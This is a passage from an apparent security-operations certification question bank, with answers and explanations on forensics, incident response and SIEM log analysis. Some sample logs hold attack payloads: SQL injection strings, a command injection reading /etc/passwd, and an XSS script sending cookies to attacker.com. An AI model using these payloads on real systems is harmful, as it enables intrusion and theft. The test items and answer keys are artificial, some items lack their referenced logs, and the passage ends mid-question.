Security Operations

627 questions

All types627 Multiple choice320 Multiple select139 Matching36 Ordering132

A forensic analyst receives a bit-stream disk image of a compromised virtual domain controller from an external incident response team. Prior to initiating analysis, the analyst calculates a SHA-256 hash of the evidence file and discovers that it does not match the SHA-256 hash value documented on the accompanying chain of custody form. Which of the following describes the most appropriate immediate course of action for the analyst to take?

Document the hash discrepancy on the chain of custody log and halt analysis on the copy until the integrity discrepancy is investigated, as the evidence is legally inadmissible in its current state.

Re-acquire a live memory dump from the powered-on hypervisor host before making any further modifications to the disk image file.

Update the chain of custody form with the newly calculated hash value to re-establish administrative alignment prior to proceeding with evidence carving.

Generate a digital signature using the analyst's private key to append non-repudiation controls to the evidence container.

Show answer & explanation

Answer: Document the hash discrepancy on the chain of custody log and halt analysis on the copy until the integrity discrepancy is investigated, as the evidence is legally inadmissible in its current state.

Answer

Document the hash discrepancy on the chain of custody log and halt analysis on the copy until the integrity discrepancy is investigated, as the evidence is legally inadmissible in its current state.

In digital forensics, a cryptographic hash (such as SHA-256) serves as a digital fingerprint verifying that an evidence copy remains an exact bit-stream duplicate of the original source. If the computed hash does not match the hash logged at acquisition, the integrity of the evidence has been compromised. The investigator must document the discrepancy in the chain of custody record and refrain from analyzing the corrupted copy until the baseline can be verified against master image copies.

Step-by-Step Solution

Verify cryptographic integrity baseline

Discovered SHA-256 hash mismatch between received disk image and chain of custody documentation.

Cryptographic hashes verify that forensic images are bit-for-bit identical to the acquired evidence.

Apply forensic evidence handling rules

Recognize potential evidence contamination, corruption, or improper transfer handling.

A hash mismatch proves the evidence file was altered after the baseline hash was recorded.

Execute chain of custody protocol

Log the discrepancy immediately and suspend analysis on the compromised file pending source verification.

Preserves forensic soundness and prevents downstream analysis of corrupted or invalid evidence.

Key Concept

Cryptographic Hash Verification and Chain of Custody Integrity

Question 142Question →

A security specialist investigates an automated alert triggered in a Security Information and Event Management (SIEM) dashboard. The alert aggregates logs from the web application firewall (WAF) and the database audit logger as shown below:

[2026-07-27T14:02:11Z] WAF_LOG: Src=203.0.113.84 URI="/search.php?item=1%27%20OR%201=1--" Action=ALLOWED HTTP_Status=200
[2026-07-27T14:02:15Z] DB_AUDIT: User=app_web Query="SELECT * FROM items WHERE item_id = '1' OR 1=1--" Execution_Status=SUCCESS RowsReturned=84200
[2026-07-27T14:02:18Z] SIEM_CORRELATION: RuleID=RL-4092 Trigger="High Volume Data Read Post WAF Anomaly"

Based on these correlated log entries, which of the following security events is actively occurring?

A Cross-Site Scripting (XSS) attack that executed malicious client-side script in the database user's web browser session.

A successful SQL Injection (SQLi) attack that bypassed web application filtering and resulted in unauthorized data retrieval.

An authentication control failure where invalid user credentials were accepted by the database server connection pool.

A SIEM false positive caused by a misconfigured detective control misidentifying routine database replication traffic.

Show answer & explanation

Answer: A successful SQL Injection (SQLi) attack that bypassed web application filtering and resulted in unauthorized data retrieval.

Answer

A successful SQL Injection (SQLi) attack that bypassed web application filtering and resulted in unauthorized data retrieval.

The correct answer identifies a successful SQL Injection attack. The WAF log captures the URI parameter containing the classic SQL syntax injection `1' OR 1=1--`. The database audit log demonstrates that the input was passed un-sanitized into the SQL query statement, evaluating `1=1` to true for all rows and returning 84,200 database records.

Step-by-Step Solution

Analyze the WAF log payload

The HTTP request contains the URL parameter `item=1' OR 1=1--`, which utilizes SQL metacharacters (`'` and `--`) to alter database query syntax.

Recognizing attack signatures in web logs is necessary to determine the threat vector.

Examine the DB Audit log entry

The web application account executed `SELECT * FROM items WHERE item_id = '1' OR 1=1--` and returned 84,200 records.

Verifying database logs confirms whether the injected payload reached the backend and executed successfully.

Correlate event timeline and SIEM rule trigger

The SIEM successfully correlated the WAF payload with the subsequent bulk database read, confirming an active SQL injection data exfiltration attempt.

Correlating timestamped logs across heterogeneous systems allows analysts to validate true positive incidents.

Key Concept

Log Analysis and SIEM Event Correlation

Estimated Time:1m 30s

Question 143Question →

A security analyst is investigating a high-priority correlation alert in a Security Information and Event Management (SIEM) dashboard. The analyst reviews the following sequential event logs collected from a Web Application Firewall (WAF), an Nginx web server, and a Linux host kernel audit subsystem (auditd):

text
[2026-07-27T14:22:01.104Z] WAF-ALERT rule_id=942100 severity=CRITICAL client_ip=198.51.100.44 uri="/api/v1/export?format=pdf&cmd=id" action=DETECTED_ONLY
[2026-07-27T14:22:01.108Z] HTTP-ACCESS client_ip=198.51.100.44 status=200 method=GET uri="/api/v1/export?format=pdf&cmd=%3B%20cat%20%2Fetc%2Fpasswd" bytes=4096
[2026-07-27T14:22:01.112Z] AUDITD type=EXECVE pid=88412 ppid=1420 (www-data) comm="sh" args="sh -c cat /etc/passwd"

Based on the provided log telemetry, which of the following conclusions and remediation requirements are correct? (Select TWO.)

Select all that apply

The Web Application Firewall was operating in a non-blocking inspection mode, allowing the command injection payload to reach the backend web server.

The attacker successfully executed arbitrary OS commands under the context of the unprivileged web service account (www-data).

The log telemetry demonstrates a successful SQL injection attack that retrieved relational database credentials using URL encoding evasion.

The SOC analyst should reconfigure the WAF inline enforcement mode as a detective security control to prevent HTTP request processing.

Show answer & explanation

Answer: The Web Application Firewall was operating in a non-blocking inspection mode, allowing the command injection payload to reach the backend web server.; The attacker successfully executed arbitrary OS commands under the context of the unprivileged web service account (www-data).

Answer

The WAF was operating in detection-only mode, permitting the payload to pass, and the attacker successfully achieved remote OS command execution as the web service user.

Analyzing the log timestamps and fields reveals two key findings: First, the WAF log displays action=DETECTED_ONLY, meaning the WAF alerted on the threat signature but did not drop or reset the TCP connection. Second, the host system audit log (auditd EXECVE) confirms that the web application executed a shell command ('sh -c cat /etc/passwd') under the privileges of the web service account ('www-data').

Step-by-Step Solution

Analyze the WAF log entry for enforcement action and alert triggers.

Rule 942100 triggered a critical severity alert for client IP 198.51.100.44, but the action was logged as DETECTED_ONLY rather than BLOCKED.

Determines whether perimeter filtering inline controls prevented the malicious request.

Analyze the HTTP web server access log for response status and payload content.

The server returned HTTP status 200 OK with 4096 response bytes for a URI containing URL-encoded shell parameters (%3B%20cat%20%2Fetc%2Fpasswd).

Confirms the backend application accepted the HTTP request and processed it successfully.

Correlate host system audit logs (auditd) using process telemetry and timestamps.

Four milliseconds after the HTTP request, auditd logged an EXECVE execution event of 'sh -c cat /etc/passwd' originating from parent process ID 1420 owned by the 'www-data' service account.

Confirms root cause and successful execution of OS command injection on the host OS.

Key Concept

SIEM Correlation of WAF, Web, and Host Logs for Command Injection

Question 144Question →

During an incident response investigation involving a compromised enterprise database server suspected of running an in-memory fileless payload, a forensic team must preserve digital evidence for potential judicial proceedings. Which of the following procedures should the team perform FIRST to adhere strictly to the order of volatility?

Deploy a hardware write-blocker to acquire a bit-stream forensic image of the primary non-volatile storage drive.

Capture the contents of volatile system memory to external forensic media.

Generate and log cryptographic hashes for all database files directly on the live operating system volume.

Initiate a graceful system shutdown to prevent remote execution and isolate log files on disk.

Show answer & explanation

Answer: Capture the contents of volatile system memory to external forensic media.

Answer

Capturing the contents of volatile system memory to external forensic media must be performed first.

Capturing the contents of volatile system memory to external forensic media is the correct action because system RAM ranks higher in the order of volatility than persistent disk drives. In-memory payloads and volatile system states (such as active network sockets and running processes) are completely lost if the system is powered off or modified prior to acquisition.

Step-by-Step Solution

Identify the data sources present on the target server and categorize them by volatility level.

System RAM contains highly volatile evidence (in-memory malware, network connections, encryption keys), while solid-state and hard disk drives contain non-volatile persistent evidence.

Forensic evidence acquisition must prioritize sources that are lost most rapidly when system state changes.

Apply the standard forensic Order of Volatility principles.

System RAM and CPU registers/cache precede persistent storage media such as hard drives and network shares.

Adhering to the RFC 3227 order of volatility ensures the preservation of transient artifacts before taking actions that alter system memory.

Execute memory dump procedures prior to powering off or taking disk images.

Volatile artifacts are saved to isolated, sanitized external media with integrity hashes logged.

This preserves the in-memory fileless payload without inadvertently wiping system memory during a power cycle or disk capture.

Key Concept

Order of Volatility in Digital Forensics

Estimated Time:1m 15s

Question 145Question →

A security analyst is reviewing Linux authentication log entries forwarded to a SIEM aggregator from host server1:

Jul 27 14:10:01 server1 sshd[1042]: Failed password for root from 198.51.100.45 port 49210 ssh2
Jul 27 14:10:03 server1 sshd[1044]: Failed password for root from 198.51.100.45 port 49212 ssh2
Jul 27 14:10:05 server1 sshd[1046]: Failed password for root from 198.51.100.45 port 49215 ssh2
Jul 27 14:10:08 server1 sshd[1049]: Accepted password for root from 198.51.100.45 port 49218 ssh2

Based on these log entries, which TWO of the following conclusions can be accurately drawn regarding this security event? (Select TWO)

Select all that apply

An SSH brute-force authentication attack was executed from IP address 198.51.100.45.

The log pattern shows a web application SQL injection attack targeting database credentials.

The attacker successfully authenticated and gained system access as the root user.

The log entries record an authorization failure during role-based permission verification.

Show answer & explanation

Answer: An SSH brute-force authentication attack was executed from IP address 198.51.100.45.; The attacker successfully authenticated and gained system access as the root user.

Answer

The logs demonstrate an SSH brute-force password attack from IP address 198.51.100.45 that ultimately resulted in a successful authentication compromise of the root user.

The sequence of rapid password failures followed by an accepted password entry confirms both an SSH brute-force attempt from IP address 198.51.100.45 and a successful account compromise of the root user.

Step-by-Step Solution

Inspect the failure pattern in the SSH service log stream.

Identified three consecutive password failure messages from source IP 198.51.100.45 within a seven-second window targeting root.

Rapid sequential failed login attempts from a single IP address indicate an SSH password brute-force attack.

Examine the final log line in the sequence.

Observed 'Accepted password for root from 198.51.100.45'.

An 'Accepted password' entry confirms that the authentication mechanism validated the password, indicating a compromised account.

Key Concept

Log Analysis and SIEM Management

Question 146Question →

A security investigator is tasked with preserving digital evidence from a workstation suspected of being involved in unauthorized file transfers. Which of the following procedures must the investigator follow to ensure evidence integrity and maintain a legally defensible chain of custody? (Select TWO.)

Select all that apply

Calculate and log cryptographic hash values of the storage media immediately upon acquisition and after creating an image.

Record every transfer of evidence, including dates, times, handler identities, and transfer purposes on a standardized form.

Reboot the workstation into safe mode prior to disk acquisition to stop malicious background processes.

Store the acquired evidence on an open network share so multiple incident response team members can access it concurrently.

Show answer & explanation

Answer: Calculate and log cryptographic hash values of the storage media immediately upon acquisition and after creating an image.; Record every transfer of evidence, including dates, times, handler identities, and transfer purposes on a standardized form.

Answer

The investigator must calculate cryptographic hash values to verify data integrity and maintain a complete log of evidence transfers, timestamps, and handlers to preserve the chain of custody.

Computing cryptographic hashes guarantees that the bit-stream copy exactly matches the source media at the point of acquisition. Documenting all evidence handlers, timestamps, and transfer reasons provides proof of possession and prevents claims of evidence tampering.

Step-by-Step Solution

Perform bit-stream imaging and compute cryptographic hashes.

Establishes a baseline mathematical proof (integrity verification) showing that the forensic copy is identical to the original target disk.

Any alteration to the drive contents changes the resulting hash value, making post-acquisition hashing necessary to prove data was uncorrupted.

Complete and continuously update the chain of custody documentation.

Establishes an unbroken record showing who handled the evidence, when it was transferred, and where it was securely stored.

Without continuous documentation of control and possession, digital evidence can be ruled inadmissible in legal proceedings.

Key Concept

Evidence Preservation and Chain of Custody Maintenance

Question 147Question →

A security analyst captures an image of a hard drive from a compromised workstation during an active incident. Which of the following should the analyst perform immediately after acquiring the disk image to prove that the evidence remains unaltered?

Calculate and record a cryptographic hash of the original drive and the created image.

Reboot the workstation into safe mode to verify that the forensic image boots successfully.

Encrypt the hard drive using the organization's public key to establish non-repudiation.

Store the acquired disk image directly on a network share accessible by the incident response team.

Show answer & explanation

Answer: Calculate and record a cryptographic hash of the original drive and the created image.

Answer

Calculating and recording cryptographic hashes of both the original media and the disk image establishes evidence integrity.

Computing cryptographic hash values immediately after drive acquisition generates a unique mathematical fingerprint of the source and target image. Matching hashes demonstrate that the forensic copy is bit-for-bit identical to the source and has not been altered.

Step-by-Step Solution

Identify the primary requirement for maintaining evidence integrity in digital forensics.

Digital evidence must be verifiable as an exact, uncorrupted replica of the source data.

Forensic proof in legal proceedings requires demonstrating that evidence was not modified during or after acquisition.

Select the cryptographic mechanism used to verify file and disk image integrity.

Cryptographic hashing algorithms (e.g., SHA-256) create unique fixed-length digests of data.

Matching hash values between the source drive and forensic copy confirm identical data content without altering the evidence.

Key Concept

Cryptographic Hashing for Evidence Integrity

Question 148Question →

Security Information and Event Management (SIEM) systems aggregate and correlate raw telemetry from heterogeneous operating systems and network devices. Match each raw security log entry snippet to the specific security attack vector or operational event type it indicates.

Click a left item, then click its matching right item

Show answer & explanation

Answer

Each log snippet corresponds to its distinct event pattern: web access logs containing SQL syntax match SQL Injection exfiltration; rapid daemon SSH failures match SSH authentication brute-force; oversized TXT DNS queries with subdomains match DNS tunneling; and Windows Event ID 4672 with administrative privileges matches Windows sensitive privilege assignment.

Security event telemetry is categorized by analyzing protocol identifiers, signature payloads, and event codes. Web server logs containing SQL operators represent SQL Injection. Syslog authentication logs recording high-frequency failures represent SSH brute-force attacks. DNS logs displaying encoded subdomains and large TXT outputs represent DNS tunneling exfiltration. Windows Security Event ID 4672 specifically identifies administrative user privilege assignments upon session establishment.

Step-by-Step Solution

Analyze web server HTTP access log parameter syntax

Identified 'UNION SELECT' operators in the query parameters as an active SQL Injection exfiltration attempt

The attacker forces the database to evaluate structural SQL commands and join user credential tables into the response

Analyze Linux Syslog sshd authentication events

Identified repeated failed password events (120 attempts within 30 seconds) as an SSH brute-force attack

Automated authentication tools rapidly attempt candidate credentials against exposed remote access interfaces

Analyze network protocol log showing DNS query details

Identified encoded subdomain strings inside TXT record queries carrying large data payloads as DNS tunneling

Malicious software encapsulates data inside DNS queries to bypass standard web proxy and firewall filtering

Analyze Windows Security Event log ID and privilege list

Identified Event ID 4672 alongside SeDebugPrivilege assignment as Windows sensitive privilege assignment

Windows Security Auditing generates Event ID 4672 whenever elevated privileges are attached to a newly created security token

Key Concept

Log signature identification and SIEM telemetry classification across heterogeneous enterprise security controls

Question 149Question →

A security analyst is reviewing web server access logs aggregated by a central SIEM platform. The log inspection view displays the following entry:

`192.168.4.12 - - [27/Jul/2026:10:15:32 +0000] "GET /search.php?q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> HTTP/1.1" 200 4520`

Based on the payload contained in this log entry, which security threat is taking place?

Cross-Site Scripting (XSS) attack attempting to hijack client session cookies

SQL injection attack attempting to bypass backend database authentication controls

Authentication failure triggered by invalid account credentials

SIEM event correlation failure resulting from an improper normalization rule

Show answer & explanation

Answer: Cross-Site Scripting (XSS) attack attempting to hijack client session cookies

Answer

Cross-Site Scripting (XSS) attack attempting to hijack client session cookies

The correct answer identifies Cross-Site Scripting (XSS). The log snippet clearly shows an HTTP GET request carrying client-side JavaScript (`<script>document.location=...</script>`) in the query parameter `q`. This script accesses the victim's session cookie via `document.cookie` and attempts to send it to an external server (`attacker.com`).

Step-by-Step Solution

Examine the HTTP request string in the web access log entry.

Identified the query parameter value: `q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>`.

Log payloads reveal the exact input sent from the client machine to the web application.

Analyze the construct of the injected payload.

The string contains client-side JavaScript wrapped inside HTML `<script>` elements designed to access `document.cookie`.

Scripts that access client-side browser DOM properties and send them to an external location characterize Cross-Site Scripting.

Select the option that matches the identified threat payload.

Confirmed the event represents a Cross-Site Scripting (XSS) attack targeting session cookies.

XSS exploits trust in a web application to execute arbitrary script code in a victim's browser.

Key Concept

Log Analysis and Web Attack Pattern Identification

Question 150Question →

A digital forensics analyst must collect evidence from a powered-on virtual machine host following an active intrusion. In what sequence should the analyst capture the following evidence sources, starting from the most volatile to the least volatile?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence from most volatile to least volatile is: CPU registers and CPU cache memory, followed by System RAM, Swap space and paging files, Local persistent disk storage, and finally Offsite archival tape backups.

Order of Volatility dictates collecting evidence in sequence of how quickly data is lost or altered. The order moves from CPU registers/cache (microsecond volatility), to system RAM (volatile RAM state), swap/pagefiles (temporary disk storage), local persistent disks (non-volatile system storage), and finally offsite archival backups (static offline storage).

Step-by-Step Solution

Identify the volatility level of CPU-internal components.

CPU registers and cache are placed first because data is overwritten almost instantaneously.

According to RFC 3227 standards for order of volatility, CPU registers change continuously with execution cycles and represent the highest volatility.

Capture physical system memory (RAM).

System RAM is extracted immediately after CPU cache before system power down or state changes.

RAM contains live processes, active network connections, and encryption keys that disappear when powered off.

Acquire temporary disk-backed memory artifacts.

Swap space and pagefiles are collected third.

Swap/paging files reside on disk but hold temporary memory structures vulnerable to kernel reallocation.

Perform bit-stream imaging of persistent local drives.

Local SSD/HDD persistent storage is imaged fourth.

Persistent disk data remains intact across reboots and is less volatile than system memory.

Retrieve long-term backup archives.

Offsite backup tapes are logged last.

Archival media is stable, read-only/offline, and has the lowest rate of data change.

Key Concept

Order of Volatility in Digital Forensics

Question 151Question →

An incident response analyst confirms that an on-premises virtual machine hosting a critical enterprise database is actively communicating with a known malicious external C2 server and executing an unauthorized encryption routine on local volumes. What is the immediate next step the analyst should take in accordance with standard incident response playbooks?

Isolate the virtual machine from the network segment while maintaining system power to preserve volatile memory artifacts.

Restore the database files and system state directly from the most recent immutable backup vault.

Power down the host hypervisor and reformat all attached storage volumes containing encrypted files.

Reconfigure the perimeter firewall to inspect and block cross-site scripting (XSS) reflection vectors.

Show answer & explanation

Answer: Isolate the virtual machine from the network segment while maintaining system power to preserve volatile memory artifacts.

Answer

Isolate the virtual machine from the network segment while maintaining system power to preserve volatile memory artifacts.

Under standard incident response lifecycle frameworks, containment is the mandatory immediate phase once an active threat is identified. Isolating the virtual machine at the network layer stops command-and-control communications and prevents lateral movement across the enterprise network. Maintaining system power ensures volatile memory (RAM) is preserved for forensic collection.

Step-by-Step Solution

Identify the active incident response phase

The incident is actively occurring with active malicious beaconing and volume encryption.

Active threats require immediate containment under NIST SP 800-61 guidelines.

Perform host containment while preserving forensic evidence

Disconnect network access to the virtual machine without turning off power.

Network isolation prevents lateral movement and exfiltration while preserving volatile RAM data.

Defer eradication and recovery until containment is complete

Avoid premature restoration or host destruction.

Executing eradication or recovery while active C2 sessions exist leads to re-compromise.

Key Concept

Incident Response Lifecycle Phase Order and Host Isolation

Question 152Question →

During a routine security audit of a branch facility, automated network telemetry alerts the security team to an unrecognized hardware tap connected to an unmonitored wall jack in a visitor conference room. The device is actively establishing an outbound covert encrypted tunnel to an external command-and-control server while performing stealthy ARP scanning across the local corporate subnet. According to standard incident response playbooks, which of the following actions should the incident response team take FIRST during the containment phase? (Select TWO.)

Select all that apply

Administratively disable the specific network switch port connected to the conference room wall jack to halt active lateral scanning and C2 traffic.

Capture volatile network traffic samples and memory artifacts from the active connection prior to physically disconnecting or powering down the device.

Re-image the firmware of all core switches across the branch network to eradicate potential persistent rootkits.

Implement a broad firewall rule blocking all outbound TLS/SSL port 443 connections across the enterprise network.

Show answer & explanation

Answer: Administratively disable the specific network switch port connected to the conference room wall jack to halt active lateral scanning and C2 traffic.; Capture volatile network traffic samples and memory artifacts from the active connection prior to physically disconnecting or powering down the device.

Answer

The incident response team should administratively disable the specific switch port linked to the unauthorized device and capture volatile memory and network traffic artifacts before physically disconnecting the hardware.

Targeted containment of an active hardware threat requires immediate isolation of its network interface (disabling the switch port) to halt C2 activity and lateral movement, combined with non-destructive volatile evidence capture (network traffic and memory dumps) prior to physical device intervention.

Step-by-Step Solution

Isolate the compromised network segment at the access layer switch

The rogue device's network access is severed, stopping command-and-control communications and internal scanning.

Immediate containment minimizes damage and prevents threat propagation without impacting unrelated network infrastructure.

Preserve volatile network traffic and memory state evidence

Transient forensic evidence remains intact for forensic examination.

Disconnecting power prematurely wipes volatile RAM state and active connection tables needed to investigate the scope of compromise.

Key Concept

Incident Response Containment Strategy & Evidence Preservation

Question 153Question →

A cybersecurity responder is acquiring digital evidence from a running Linux enterprise server suspected of executing an in-memory malware payload. Adhering strictly to the Order of Volatility (RFC 3227), in what order should the responder capture the following evidence components from most volatile to least volatile?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence from most volatile to least volatile is: Processor cache memory and CPU registers, followed by System RAM and active kernel process tables, Swap space and temporary file systems (/tmp), Local solid-state drive (SSD) persistent storage, and finally Archived remote log repositories and cloud backups.

According to RFC 3227 evidence collection guidelines, forensic data must be gathered starting from the shortest lifespan to the longest lifespan to prevent evidence destruction. CPU registers and cache fluctuate constantly and are lost first. Main memory (RAM) contains volatile active state data. Swap space and temporary directories exist on storage controllers but undergo constant churn. Local persistent drives preserve non-volatile disk blocks across power events. Remote log repositories and backups are offsite and immutable, sitting at the bottom of the volatility hierarchy.

Step-by-Step Solution

Identify the highest volatility layer in system hardware.

Processor cache memory and CPU registers are placed first.

Registers and CPU cache operate at system clock speed and lose contents immediately upon state changes or interruption.

Identify active dynamic system memory components.

System RAM and kernel process tables are placed second.

System RAM holds transient runtime structures, active network connections, and decrypted payloads that disappear when power is removed.

Identify transient disk storage structures.

Swap space and temporary file systems are placed third.

Paging files and temporary directories are stored on disk but are heavily modified during normal system activity.

Identify persistent local storage media.

Local solid-state drive (SSD) persistent storage is placed fourth.

Local disk storage maintains data without active electrical power and persists across system reboots.

Identify offsite and immutable archival sources.

Archived remote log repositories and cloud backups are placed fifth.

Centralized logs and remote backups are insulated from local system changes and represent stable long-term evidence.

Key Concept

Order of Volatility in Digital Forensics

Question 154Question →

During an insider threat investigation, a security analyst physically disconnects a target workstation's secondary storage drive to perform forensic acquisition. Before connecting the drive to the analysis workstation to capture a bit-stream image, which of the following steps should the analyst take to prevent accidental modification of metadata or timestamps?

Attach the target drive to a hardware write-blocker prior to connecting it to the forensic workstation.

Mount the target drive directly using the analysis workstation's native operating system set to read-only mode.

Encrypt the drive using an asymmetric private key to establish non-repudiation before creating the image.

Generate a SHA-256 hash of the live drive while it is connected directly to the target system prior to drive removal.

Show answer & explanation

Answer: Attach the target drive to a hardware write-blocker prior to connecting it to the forensic workstation.

Answer

Attaching the target drive to a hardware write-blocker prior to connecting it to the forensic workstation is the essential first step to preserve evidence integrity.

Connecting the storage device through a dedicated hardware write-blocker ensures that all write requests issued by the forensic station's operating system are physically intercepted and blocked. This prevents any alteration of access times, file metadata, or sector data, maintaining the cryptographic integrity of the original media.

Step-by-Step Solution

Identify the risk of connecting raw storage media to an analysis workstation.

Recognize that standard operating systems automatically modify disk volume metadata, journal logs, and access timestamps upon mounting.

Host OS automatic background writes taint digital evidence unless explicitly blocked.

Select the appropriate forensic control to block hardware write operations.

Utilize a hardware write-blocker between the suspect storage drive and the forensic analysis station.

Hardware write-blockers intercept read-write signaling at the controller interface, guaranteeing read-only access regardless of host OS behavior.

Proceed with forensic acquisition and verification.

Generate bit-stream disk images and compute verification hash values safely without altering original evidence.

Ensures forensic admissibility in legal and regulatory proceedings.

Key Concept

Forensic Write-Blocking and Evidence Preservation

Question 155Question →

A security analyst monitoring a Security Information and Event Management (SIEM) dashboard receives an alert showing an internal web application server actively executing unauthorized PowerShell scripts launched via a web shell. The web shell was uploaded through a newly exploited file upload vulnerability. According to standard incident response playbooks, which of the following should be the analyst's immediate next action?

Disconnect the affected web server from the network segment while maintaining host power.

Re-image the server operating system and restore files from the most recent clean backup.

Deploy a signature update to the Web Application Firewall to block cross-site scripting payloads.

Conduct a post-incident review meeting to update the organization's incident response policy.

Show answer & explanation

Answer: Disconnect the affected web server from the network segment while maintaining host power.

Answer

Disconnect the affected web server from the network segment while maintaining host power.

In accordance with standard NIST/ISO incident response frameworks, once an active compromise is confirmed, the immediate priority is containment. Isolating the server from the network stops active command-and-control channels and lateral movement while keeping the system powered on to preserve volatile RAM evidence for forensic capture.

Step-by-Step Solution

Identify the current incident response phase based on the scenario.

An active compromise (web shell executing unauthorized commands) is verified, requiring immediate containment.

Containment limits the scope of damage and prevents the attacker from escalating privileges or moving laterally.

Select the appropriate containment technique that preserves forensic evidence.

Network isolation detaches the host from the corporate network without powering off the machine.

Maintaining system power ensures volatile data stored in RAM remains available for digital forensics.

Key Concept

Incident Response Lifecycle - Containment Phase

Question 156Question →

A security analyst is executing an incident response playbook following the detection of an unauthorized rogue wireless access point connected to an enterprise network switch. According to the NIST Incident Response Framework (NIST SP 800-61 Rev. 2), in what chronological order should the analyst perform the response actions below?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence follows the NIST Incident Response lifecycle: 1) Validate the alert via WIPS logs (Detection & Analysis), 2) Disable the switch port (Containment), 3) Physically remove the rogue access point and configure 802.1X (Eradication & Recovery), and 4) Hold a post-incident review meeting (Post-Incident Activity).

The standard incident response framework dictates four major sequential phases: Detection and Analysis, Containment, Eradication and Recovery, and Post-Incident Activity. The response begins by validating the alert through WIPS log analysis to confirm the threat. Next, the switch port is disabled to contain network traffic and limit potential compromise. Following containment, the physical rogue device is eradicated and port security controls are applied for recovery. Finally, post-incident activities occur to document lessons learned and update operational playbooks.

Step-by-Step Solution

Execute Detection and Analysis

The incident is verified as a true positive rogue access point.

Initial analysis confirms the scope and validity of the threat before initiating containment.

Execute Containment

Network access for the unauthorized device is terminated at the switch layer.

Immediate containment limits exposure and prevents attacker lateral movement or eavesdropping.

Execute Eradication and Recovery

The physical device is removed and port security controls are reinforced.

Eradication removes the unauthorized artifact and recovery ensures the infrastructure returns to a secure baseline.

Execute Post-Incident Activity

Incident details are documented and response playbooks are refined.

Lessons learned activities occur post-mitigation to institutionalize improvements for future incidents.

Key Concept

NIST Incident Response Lifecycle (NIST SP 800-61 Rev. 2)

Estimated Time:1m 30s

Question 157Question →

A security analyst is investigating an unalerted data breach involving an e-commerce platform. The SIEM correlated the following log snippets from the Web Application Firewall (WAF) and database server:

Based on these log entries, which of the following best describes the attack vector and the appropriate SIEM correlation enhancement required to detect future attempts?

A SQL injection attack successfully extracted database credentials; the SIEM correlation rule should be updated to trigger an alert when a WAF HTTP 200 response coincides with an anomalous spike in database rows returned.

A stored Cross-Site Scripting (XSS) attack executed client-side code to harvest user password hashes; the SIEM correlation rule should be updated to detect unencoded script tags in web HTTP POST parameters.

An authentication failure occurred when the web service account db_web_app attempted to log into the database without administrative privileges; the SIEM correlation rule should be configured to flag failed login events in the AAA log stream.

The log pattern indicates a false positive created by timestamp clock drift between the WAF and database host systems during routine administrative reporting; the SIEM correlation rule tolerance window should be expanded.

Show answer & explanation

Answer: A SQL injection attack successfully extracted database credentials; the SIEM correlation rule should be updated to trigger an alert when a WAF HTTP 200 response coincides with an anomalous spike in database rows returned.

Answer

The log entries exhibit a classic SQL injection payload ('UNION SELECT usr,pwd_hash FROM admin--') that passed through the WAF and executed against the underlying database server, returning 4,500 records. Enhancing SIEM correlation rules to link successful web HTTP responses containing SQL manipulation patterns with abnormally high backend database row return counts provides effective detection for successful application-layer exfiltration.

Step-by-Step Solution

Analyze the WAF log payload string

The parameter value '/catalog.php?cat_id=5 UNION SELECT usr,pwd_hash FROM admin--' contains SQL syntax intended to append database query commands.

Identifying SQL syntax structure confirms the attack is a SQL Injection (SQLi) attack.

Correlate WAF response with Database audit log

The WAF passed the request (action=PASS, status=200), and the database executed it successfully, returning 4,500 rows.

This confirms successful database data extraction despite WAF inspection.

Determine SIEM rule modification

Correlating successful HTTP status codes (200 OK) containing SQL input structures with high row count returns from the database backend effectively detects successful SQLi exfiltration.

Traditional single-event rules failed because WAF passed the traffic; multi-source correlation across web and DB logs bridges the detection gap.

Key Concept

Log Correlation across Web Firewall and Database Logs for SQL Injection Detection

Estimated Time:2m 0s

Question 158Question →

During an operational shift, a security analyst receives a high-fidelity alert indicating that an internal database server containing confidential HR records has established an active session with an external command-and-control (C2) server via encrypted DNS over HTTPS (DoH) tunnels. Memory analysis confirms an active process executing malicious commands, but lateral movement to adjacent servers has not yet been observed. According to standard incident response lifecycle guidelines (such as NIST SP 800-61), which action should the analyst perform FIRST?

Isolate the compromised database server from the network segment to halt C2 communications while preserving system volatility for forensic examination.

Re-image the server operating system from a verified golden image and restore the HR database from an offline backup.

Modify enterprise edge firewall rules to act as a detective control by capturing and logging all outbound UDP port 53 traffic.

Terminate the malicious process and delete its registry persistence keys directly on the live server while keeping it fully online for business continuity.

Show answer & explanation

Answer: Isolate the compromised database server from the network segment to halt C2 communications while preserving system volatility for forensic examination.

Answer

Isolate the compromised database server from the network segment to halt C2 communications while preserving system volatility for forensic examination.

According to standard incident response frameworks (NIST SP 800-61), once an active compromise with command-and-control communication is confirmed during detection/analysis, the immediate next step is Containment. Network isolation of the compromised host stops data exfiltration and lateral movement while preserving volatile memory for digital forensics.

Step-by-Step Solution

Identify the current phase of the Incident Response lifecycle.

The incident has been detected and triaged; the active C2 session indicates an ongoing security breach.

Once an active breach is confirmed, containment must immediately take precedence to prevent data exfiltration and lateral movement.

Select the action that aligns with the Containment phase of NIST SP 800-61.

Network isolation detaches the system from internal and external networks while maintaining volatile RAM state.

Containment limits the blast radius of the attack prior to initiating eradication or recovery procedures.

Evaluate alternative responses to verify correct phase sequencing.

Re-imaging, live process removal, and network-wide logging adjustments represent out-of-order phase actions or ineffective control applications.

Eradication and recovery steps performed prematurely undermine incident containment and evidence preservation.

Key Concept

Incident Response Lifecycle Containment Phase

Question 159Question →

During a routine operational monitoring check, a system administrator confirms that a workstation in the assembly plant was infected with malware after a user inserted an unauthorized flash drive. The incident response team has just validated the active incident. According to standard NIST/ISO incident response frameworks, which action should the responder execute FIRST during the containment phase?

Disconnect the infected workstation from the network segment to isolate the device.

Wipe the hard drive and restore the operating system from a verified clean backup image.

Convene the incident response team for a lessons-learned session to update security policies.

Implement a preventive perimeter firewall rule to block future incoming USB connections.

Show answer & explanation

Answer: Disconnect the infected workstation from the network segment to isolate the device.

Answer

Disconnect the infected workstation from the network segment to isolate the device.

In standard incident response playbooks, the immediate priority upon confirming a malware infection is containment. Disconnecting the affected host isolates the endpoint and prevents lateral propagation across adjacent network resources.

Step-by-Step Solution

Determine the current phase in the incident response lifecycle.

The incident has just been confirmed, placing the team at the beginning of the Containment phase.

Containment limits the scope of impact before permanent remediation steps are undertaken.

Identify the primary containment objective for an infected host.

